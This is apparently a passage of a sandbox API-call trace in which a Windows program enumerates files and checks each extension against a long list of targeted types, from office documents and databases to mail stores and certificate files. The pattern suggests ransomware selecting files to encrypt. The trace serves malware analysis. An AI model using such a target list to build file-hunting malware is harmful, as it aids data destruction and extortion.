	[0180.734] lstrcmpiW (lpString1=".epsf", lpString2="r.xml") returned -1
	[0180.734] lstrlenW (lpString=".epsp") returned 5
	[0180.734] lstrcmpiW (lpString1=".epsp", lpString2="r.xml") returned -1
	[0180.734] lstrlenW (lpString=".erf") returned 4
	[0180.734] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".exr") returned 4
	[0180.734] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".f4v") returned 4
	[0180.734] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0180.734] lstrlenW (lpString=".fido") returned 5
	[0180.735] lstrcmpiW (lpString1=".fido", lpString2="r.xml") returned -1
	[0180.735] lstrlenW (lpString=".flm") returned 4
	[0180.735] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".flv") returned 4
	[0180.735] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".frm") returned 4
	[0180.735] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".fxg") returned 4
	[0180.735] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".geo") returned 4
	[0180.735] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".gif") returned 4
	[0180.735] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".grs") returned 4
	[0180.735] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".gz") returned 3
	[0180.735] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0180.735] lstrlenW (lpString=".h") returned 2
	[0180.735] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0180.735] lstrlenW (lpString=".hdr") returned 4
	[0180.735] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".hpp") returned 4
	[0180.735] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0180.735] lstrlenW (lpString=".hta") returned 4
	[0180.736] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".htc") returned 4
	[0180.736] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".htm") returned 4
	[0180.736] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".html") returned 5
	[0180.736] lstrcmpiW (lpString1=".html", lpString2="r.xml") returned -1
	[0180.736] lstrlenW (lpString=".icb") returned 4
	[0180.736] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".ics") returned 4
	[0180.736] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".iff") returned 4
	[0180.736] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".inc") returned 4
	[0180.736] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0180.736] lstrlenW (lpString=".indd") returned 5
	[0180.736] lstrcmpiW (lpString1=".indd", lpString2="r.xml") returned -1
	[0180.736] lstrlenW (lpString=".ini") returned 4
	[0180.736] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".iqy") returned 4
	[0180.737] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".j2c") returned 4
	[0180.737] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".j2k") returned 4
	[0180.737] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".java") returned 5
	[0180.737] lstrcmpiW (lpString1=".java", lpString2="r.xml") returned -1
	[0180.737] lstrlenW (lpString=".jp2") returned 4
	[0180.737] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".jpc") returned 4
	[0180.737] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".jpe") returned 4
	[0180.737] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".jpeg") returned 5
	[0180.737] lstrcmpiW (lpString1=".jpeg", lpString2="r.xml") returned -1
	[0180.737] lstrlenW (lpString=".jpf") returned 4
	[0180.737] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".jpg") returned 4
	[0180.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".jpx") returned 4
	[0180.737] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0180.737] lstrlenW (lpString=".js") returned 3
	[0180.737] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0180.737] lstrlenW (lpString=".jsf") returned 4
	[0180.738] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".json") returned 5
	[0180.738] lstrcmpiW (lpString1=".json", lpString2="r.xml") returned -1
	[0180.738] lstrlenW (lpString=".jsp") returned 4
	[0180.738] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".kdc") returned 4
	[0180.738] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".kmz") returned 4
	[0180.738] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".kwm") returned 4
	[0180.738] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".lasso") returned 6
	[0180.738] lstrcmpiW (lpString1=".lasso", lpString2="er.xml") returned -1
	[0180.738] lstrlenW (lpString=".lbi") returned 4
	[0180.738] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".lgf") returned 4
	[0180.738] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".lgp") returned 4
	[0180.738] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0180.738] lstrlenW (lpString=".log") returned 4
	[0180.739] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".m1v") returned 4
	[0180.739] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".m4a") returned 4
	[0180.739] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".m4v") returned 4
	[0180.739] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".max") returned 4
	[0180.739] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".md") returned 3
	[0180.739] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0180.739] lstrlenW (lpString=".mda") returned 4
	[0180.739] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mdb") returned 4
	[0180.739] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mde") returned 4
	[0180.739] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mdf") returned 4
	[0180.739] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mdw") returned 4
	[0180.739] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mef") returned 4
	[0180.739] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0180.739] lstrlenW (lpString=".mft") returned 4
	[0180.739] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mfw") returned 4
	[0180.740] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mht") returned 4
	[0180.740] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mhtml") returned 6
	[0180.740] lstrcmpiW (lpString1=".mhtml", lpString2="er.xml") returned -1
	[0180.740] lstrlenW (lpString=".mka") returned 4
	[0180.740] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mkidx") returned 6
	[0180.740] lstrcmpiW (lpString1=".mkidx", lpString2="er.xml") returned -1
	[0180.740] lstrlenW (lpString=".mkv") returned 4
	[0180.740] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mos") returned 4
	[0180.740] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mov") returned 4
	[0180.740] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mp3") returned 4
	[0180.740] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mp4") returned 4
	[0180.740] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mpeg") returned 5
	[0180.740] lstrcmpiW (lpString1=".mpeg", lpString2="r.xml") returned -1
	[0180.740] lstrlenW (lpString=".mpg") returned 4
	[0180.740] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0180.740] lstrlenW (lpString=".mpv") returned 4
	[0180.741] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".mrw") returned 4
	[0180.741] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".msg") returned 4
	[0180.741] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".mxl") returned 4
	[0180.741] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".myd") returned 4
	[0180.741] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".myi") returned 4
	[0180.741] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".nef") returned 4
	[0180.741] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".nrw") returned 4
	[0180.741] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".obj") returned 4
	[0180.741] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".odb") returned 4
	[0180.741] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".odc") returned 4
	[0180.741] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".odm") returned 4
	[0180.741] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0180.741] lstrlenW (lpString=".odp") returned 4
	[0180.741] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".ods") returned 4
	[0180.742] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".oft") returned 4
	[0180.742] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".one") returned 4
	[0180.742] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".onepkg") returned 7
	[0180.742] lstrcmpiW (lpString1=".onepkg", lpString2="ger.xml") returned -1
	[0180.742] lstrlenW (lpString=".onetoc2") returned 8
	[0180.742] lstrcmpiW (lpString1=".onetoc2", lpString2="ager.xml") returned -1
	[0180.742] lstrlenW (lpString=".opt") returned 4
	[0180.742] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".oqy") returned 4
	[0180.742] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".orf") returned 4
	[0180.742] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".p12") returned 4
	[0180.742] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".p7b") returned 4
	[0180.742] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".p7c") returned 4
	[0180.742] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".pam") returned 4
	[0180.742] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0180.742] lstrlenW (lpString=".pbm") returned 4
	[0180.742] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pct") returned 4
	[0180.743] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pcx") returned 4
	[0180.743] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pdd") returned 4
	[0180.743] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pdf") returned 4
	[0180.743] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pdp") returned 4
	[0180.743] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pef") returned 4
	[0180.743] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pem") returned 4
	[0180.743] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pff") returned 4
	[0180.743] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pfm") returned 4
	[0180.743] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pfx") returned 4
	[0180.743] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".pgm") returned 4
	[0180.743] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0180.743] lstrlenW (lpString=".php") returned 4
	[0180.743] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0180.744] lstrlenW (lpString=".php3") returned 5
	[0180.744] lstrcmpiW (lpString1=".php3", lpString2="r.xml") returned -1
	[0180.744] lstrlenW (lpString=".php4") returned 5
	[0180.744] lstrcmpiW (lpString1=".php4", lpString2="r.xml") returned -1
	[0180.744] lstrlenW (lpString=".php5") returned 5
	[0180.744] lstrcmpiW (lpString1=".php5", lpString2="r.xml") returned -1
	[0180.744] lstrlenW (lpString=".phtml") returned 6
	[0180.744] lstrcmpiW (lpString1=".phtml", lpString2="er.xml") returned -1
	[0180.744] lstrlenW (lpString=".pict") returned 5
	[0180.744] lstrcmpiW (lpString1=".pict", lpString2="r.xml") returned -1
	[0180.744] lstrlenW (lpString=".pl") returned 3
	[0180.744] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0180.744] lstrlenW (lpString=".pls") returned 4
	[0180.744] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0180.744] lstrlenW (lpString=".pm") returned 3
	[0180.744] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0180.744] lstrlenW (lpString=".png") returned 4
	[0180.744] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0180.744] lstrlenW (lpString=".pnm") returned 4
	[0180.744] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0180.744] lstrlenW (lpString=".pot") returned 4
	[0180.744] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0180.744] lstrlenW (lpString=".potm") returned 5
	[0180.744] lstrcmpiW (lpString1=".potm", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".potx") returned 5
	[0180.745] lstrcmpiW (lpString1=".potx", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".ppa") returned 4
	[0180.745] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0180.745] lstrlenW (lpString=".ppam") returned 5
	[0180.745] lstrcmpiW (lpString1=".ppam", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".ppm") returned 4
	[0180.745] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0180.745] lstrlenW (lpString=".pps") returned 4
	[0180.745] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0180.745] lstrlenW (lpString=".ppsm") returned 5
	[0180.745] lstrcmpiW (lpString1=".ppsm", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".ppt") returned 4
	[0180.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0180.745] lstrlenW (lpString=".pptm") returned 5
	[0180.745] lstrcmpiW (lpString1=".pptm", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".pptx") returned 5
	[0180.745] lstrcmpiW (lpString1=".pptx", lpString2="r.xml") returned -1
	[0180.745] lstrlenW (lpString=".prn") returned 4
	[0180.745] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0180.745] lstrlenW (lpString=".ps") returned 3
	[0180.745] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0180.745] lstrlenW (lpString=".psb") returned 4
	[0180.745] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".psd") returned 4
	[0180.746] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".pst") returned 4
	[0180.746] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".ptx") returned 4
	[0180.746] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".pub") returned 4
	[0180.746] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".pwm") returned 4
	[0180.746] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".pxr") returned 4
	[0180.746] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0180.746] lstrlenW (lpString=".py") returned 3
	[0180.746] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0180.746] lstrlenW (lpString=".qt") returned 3
	[0180.746] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0180.747] lstrlenW (lpString=".r3d") returned 4
	[0180.747] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0180.747] lstrlenW (lpString=".raf") returned 4
	[0180.747] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1
	[0180.747] lstrlenW (lpString=".rar") returned 4
	[0180.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0180.747] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1
	[0180.747] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1
	[0180.747] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1287, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.jpg", cAlternateFileName="")) returned 1
	[0180.748] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ea5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1
	[0180.748] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1
	[0180.748] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1
	[0180.748] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x2438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1
	[0180.749] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1
	[0180.749] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1
	[0180.749] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd3f65600, ftLastWriteTime.dwHighDateTime=0x1d283c8, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0
	[0180.749] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0180.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.752] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5c60b90, ftCreationTime.dwHighDateTime=0x1d56489, ftLastAccessTime.dwLowDateTime=0x84d23e10, ftLastAccessTime.dwHighDateTime=0x1d5ca90, ftLastWriteTime.dwLowDateTime=0x84d23e10, ftLastWriteTime.dwHighDateTime=0x1d5ca90, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1
	[0180.752] lstrlenW (lpString="outlook.exe") returned 11
	[0180.752] lstrlenW (lpString=".1cd") returned 4
	[0180.753] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0180.753] lstrlenW (lpString=".3ds") returned 4
	[0180.753] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0180.753] lstrlenW (lpString=".3fr") returned 4
	[0180.753] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0180.753] lstrlenW (lpString=".3g2") returned 4
	[0180.753] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0180.753] lstrlenW (lpString=".3gp") returned 4
	[0180.753] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0180.753] lstrlenW (lpString=".7z") returned 3
	[0180.753] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0180.753] lstrlenW (lpString=".accda") returned 6
	[0180.753] lstrcmpiW (lpString1=".accda", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".accdb") returned 6
	[0180.753] lstrcmpiW (lpString1=".accdb", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".accdc") returned 6
	[0180.753] lstrcmpiW (lpString1=".accdc", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".accde") returned 6
	[0180.753] lstrcmpiW (lpString1=".accde", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".accdt") returned 6
	[0180.753] lstrcmpiW (lpString1=".accdt", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".accdw") returned 6
	[0180.753] lstrcmpiW (lpString1=".accdw", lpString2="ok.exe") returned -1
	[0180.753] lstrlenW (lpString=".adb") returned 4
	[0180.753] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".adp") returned 4
	[0180.754] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai") returned 3
	[0180.754] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0180.754] lstrlenW (lpString=".ai3") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai4") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai5") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai6") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai7") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".ai8") returned 4
	[0180.754] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0180.754] lstrlenW (lpString=".anim") returned 5
